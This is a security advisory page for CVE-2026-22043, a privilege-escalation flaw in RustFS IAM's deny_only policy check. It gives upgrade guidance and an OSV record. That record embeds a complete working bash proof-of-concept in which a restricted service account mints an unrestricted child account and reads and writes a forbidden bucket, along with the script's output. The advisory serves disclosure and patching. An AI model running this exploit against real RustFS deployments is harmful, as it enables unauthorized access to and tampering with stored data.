CVE-2026-22043: Rustfs RustFS Has IAM Deny_only Short-Circuit Vulnerability
MODERATECVE-2026-22043 is a MODERATE rustfs has iam deny_only short-circuit vulnerability (CWE-269: Improper Privilege Management) affecting Rustfs libraries in the crates.io ecosystem. The issue involves rustfs has iam deny_only short-circuit that allows privilege escalation via service account minting. Remediation is available by upgrading affected packages to version 1.0.0-alpha.79.
CVE-2026-22043 at a Glance
How to Fix CVE-2026-22043
To remediate this vulnerability, upgrade all affected Rustfs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade rustfs to 1.0.0-alpha.79
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for rustfs
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-22043, inspect your project dependencies for Rustfs:
inspect dependencies for rustfs
Analyze the terminal output to locate any version of Rustfs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0-alpha.79), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In Rustfs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-22043 Affected Rustfs Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
rustfs
|
crates.io |
≥ 1.0.0-alpha.13
< 1.0.0-alpha.79
|
1.0.0-alpha.79
|
References
Frequently Asked Questions
What is CVE-2026-22043?
Which Rustfs versions are affected?
What version fixes CVE-2026-22043?
Is rustfs affected?
What CWE is associated with CVE-2026-22043?
How can I check crates.io dependencies for CVE-2026-22043?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xgr5-qc6w-vcg9",
"modified" : "2026-01-08T20:40:06Z",
"published" : "2026-01-08T20:40:06Z",
"aliases" : [ "CVE-2026-22043" ],
"summary" : "RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting",
"details" : "## Summary\n\nA flawed `deny_only` short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.\n\n## Details\n\n**akin to MinIO CVE-2025-62506**\n\n- Policy evaluation: `Policy::is_allowed` returns true when `deny_only=true` if no explicit Deny is hit, skipping all Allow checks (`crates/policy/src/policy/policy.rs:66-74`).\n- Service account creation path sets `deny_only=true` when the target user equals the caller or its parent (`rustfs/src/admin/handlers/service_account.rs:114-127`).\n- Service accounts are created without `session_policy` by default, so claims lack `SESSION_POLICY_NAME`; combined with `deny_only`, self-operations are allowed without Allow statements.\n- Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.\n\nKey code references:\n\n- `crates/policy/src/policy/policy.rs` (deny_only short-circuit)\n- `rustfs/src/admin/handlers/service_account.rs:` (deny_only set for self/parent target)\n- `crates/iam/src/sys.rs` (service account creation defaults, no session_policy)\n\n## PoC\n\nRequires `awscli`, `awscurl`, `jq`, RustFS at `http://127.0.0.1:9000`, root AK/SK `rustfsadmin/rustfsadmin`. Run:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# ===================== Config =====================\nENDPOINT=\"${ENDPOINT:-http://127.0.0.1:9000}\"\nROOT_AK=\"${ROOT_AK:-rustfsadmin}\"\nROOT_SK=\"${ROOT_SK:-rustfsadmin}\"\nPARENT_AK=\"${PARENT_AK:-restricted}\"\nPARENT_SK=\"${PARENT_SK:-restricted123}\"\nCHILD_AK=\"${CHILD_AK:-evilchild}\"\nCHILD_SK=\"${CHILD_SK:-evilchild123}\"\nAWS_REGION=\"${AWS_REGION:-us-east-1}\"\n\n# Tools\nAWSCURL_BIN=\"${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}\"\nAWS_BIN=\"${AWS_BIN:-aws}\"\nJQ_BIN=\"${JQ_BIN:-jq}\"\n\n# Disable proxies for local endpoint\nexport HTTP_PROXY=\nexport HTTPS_PROXY=\nexport NO_PROXY=127.0.0.1,localhost\n\n# ===================== Helpers =====================\naws_cmd() {\n local ak=\"$1\" sk=\"$2\"\n shift 2\n AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \"$AWS_BIN\" --endpoint-url \"$ENDPOINT\" \"$@\"\n}\n\nawscurl_admin() {\n local ak=\"$1\" sk=\"$2\"\n shift 2\n AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \\\n \"$AWSCURL_BIN\" --service s3 --region \"$AWS_REGION\" --access_key \"$ak\" --secret_key \"$sk\" \"$@\"\n}\n\ntimestamp_iso() {\n python - <<'PY'\nimport datetime\nprint((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())\nPY\n}\n\n# ===================== Cleanup =====================\necho \"[+] cleanup service accounts (ignore errors)\"\nfor ak in \"$CHILD_AK\" \"$PARENT_AK\"; do\n awscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X DELETE \"$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak\" >/dev/null 2>&1 || true\ndone\n\necho \"[+] cleanup buckets\"\nfor b in bucket1 bucket2 bucket3; do\n aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 rb \"s3://$b\" --force >/dev/null 2>&1 || true\ndone\n\n# ===================== Setup =====================\necho \"[+] create buckets\"\nfor b in bucket1 bucket2 bucket3; do\n aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 mb \"s3://$b\" || true\ndone\n\necho \"[+] seed bucket3 with marker object\"\nprintf \"poc-marker\\n\" | aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 cp - s3://bucket3/poc-marker.txt\n\nEXP=\"$(timestamp_iso)\"\n\necho \"[+] create restricted policy\"\nRESTRICTED_POLICY='{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Action\": [\"s3:ListBucket\"],\n \"Resource\": [\"arn:aws:s3:::bucket1\", \"arn:aws:s3:::bucket2\"]\n },\n {\n \"Effect\": \"Allow\",\n \"Action\": [\"s3:GetObject\", \"s3:PutObject\"],\n \"Resource\": [\"arn:aws:s3:::bucket1/*\", \"arn:aws:s3:::bucket2/*\"]\n }\n ]\n}'\n\necho \"[+] create restricted service account\"\nawscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n -H 'Content-Type: application/json' \\\n -d \"$(\"$JQ_BIN\" -nc --arg ak \"$PARENT_AK\" --arg sk \"$PARENT_SK\" --arg policy \"$RESTRICTED_POLICY\" --arg exp \"$EXP\" \\\n '{accessKey:$ak, secretKey:$sk, policy:$policy, name:\"restricted-sa\", expiration:$exp}')\" \\\n > /tmp/restricted_sa.json\ncat /tmp/restricted_sa.json\n\necho \"[+] list buckets as restricted (expect bucket1,bucket2 only)\"\naws_cmd \"$PARENT_AK\" \"$PARENT_SK\" s3 ls\n\necho \"[+] create child service account without policy (trigger deny_only)\"\nawscurl_admin \"$PARENT_AK\" \"$PARENT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n -H 'Content-Type: application/json' \\\n -d \"$(\"$JQ_BIN\" -nc --arg ak \"$CHILD_AK\" --arg sk \"$CHILD_SK\" --arg exp \"$EXP\" \\\n '{accessKey:$ak, secretKey:$sk, name:\"child-sa\", expiration:$exp}')\" \\\n > /tmp/child_sa.json\ncat /tmp/child_sa.json\n\necho \"[+] child tries to list bucket3 (should be denied; success means vuln)\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 ls s3://bucket3; then\n echo \"child list bucket3: SUCCESS (vuln)\"\nelse\n echo \"child list bucket3: DENIED\"\nfi\n\necho \"[+] child tries to read marker from bucket3\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then\n echo \"child read marker: SUCCESS (vuln). Content:\"\n cat /tmp/poc-marker.txt\nelse\n echo \"child read marker: DENIED\"\nfi\n\necho \"[+] child tries to write new object into bucket3\"\nif printf \"child-write\\n\" | aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp - s3://bucket3/child-write.txt; then\n echo \"child write: SUCCESS (vuln)\"\nelse\n echo \"child write: DENIED\"\nfi\n\n```\n\nPoC steps (in `poc.sh`):\n\n1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with `poc-marker.txt`.\n2) Create restricted policy (List/Get/Put only on bucket1/2).\n3) Create restricted service account `restricted/restricted123` with that policy.\n4) With `restricted`, create child service account `evilchild/evilchild123` **without policy** (deny_only short-circuit).\n5) With `evilchild`, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.\n\nResult:\n\n```text\n./poc.sh\n[+] cleanup service accounts (ignore errors)\n[+] cleanup buckets\n[+] create buckets\nmake_bucket: bucket1\nmake_bucket: bucket2\nmake_bucket: bucket3\n[+] seed bucket3 with marker object\n[+] create restricted policy\n[+] create restricted service account\n{\"credentials\":{\"accessKey\":\"restricted\",\"secretKey\":\"restricted123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] list buckets as restricted (expect bucket1,bucket2 only)\n2025-12-16 18:51:16 bucket1\n2025-12-16 18:51:16 bucket2\n[+] create child service account without policy (trigger deny_only)\n{\"credentials\":{\"accessKey\":\"evilchild\",\"secretKey\":\"evilchild123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] child tries to list bucket3 (should be denied; success means vuln)\n2025-12-16 18:51:17 11 poc-marker.txt\nchild list bucket3: SUCCESS (vuln)\n[+] child tries to read marker from bucket3\ndownload: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt\nchild read marker: SUCCESS (vuln). Content:\npoc-marker\n[+] child tries to write new object into bucket3\nchild write: SUCCESS (vuln)\n```\n\n## Impact\n\nPrivilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "rustfs"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.0.0-alpha.13"
}, {
"fixed" : "1.0.0-alpha.79"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.0.0-alpha.78"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/rustfs/rustfs/security/advisories/GHSA-xgr5-qc6w-vcg9"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22043"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/rustfs/rustfs"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-269" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-08T20:40:06Z",
"nvd_published_at" : "2026-01-08T15:15:45Z"
}
}